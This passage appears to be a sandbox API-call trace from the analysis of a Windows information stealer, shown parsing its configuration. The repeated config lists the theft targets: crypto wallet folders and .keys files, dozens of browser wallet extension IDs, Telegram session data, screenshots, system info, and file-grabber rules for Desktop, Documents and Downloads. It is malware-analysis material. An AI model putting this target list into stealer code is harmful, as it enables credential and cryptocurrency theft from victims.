Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 4236 [0259.748] LocalAlloc (uFlags=0x40, uBytes=0x2118) returned 0x6bd960 [0259.748] StrStrW (lpFirst="wlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="_") returned="_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0259.748] lstrlenW (lpString="wlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 4236 [0259.748] LocalAlloc (uFlags=0x40, uBytes=0x2198) returned 0x6ef5a0 [0259.749] StrCpyW (in: psz1=0x6b9720, psz2="wlts" | out: psz1="wlts") returned="wlts" [0259.749] LocalFree (hMem=0x6ef5a0) returned 0x0 [0259.749] StrStrW (lpFirst="wlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="\n") returned="\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0259.749] lstrcmpiW (lpString1="wlts", lpString2="libs") returned 1 [0259.750] LocalFree (hMem=0x6b9720) returned 0x0 [0259.750] LocalFree (hMem=0x6bb840) returned 0x0 [0259.751] LocalFree (hMem=0x6bd960) returned 0x0 [0259.751] StrStrW (lpFirst="wlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension 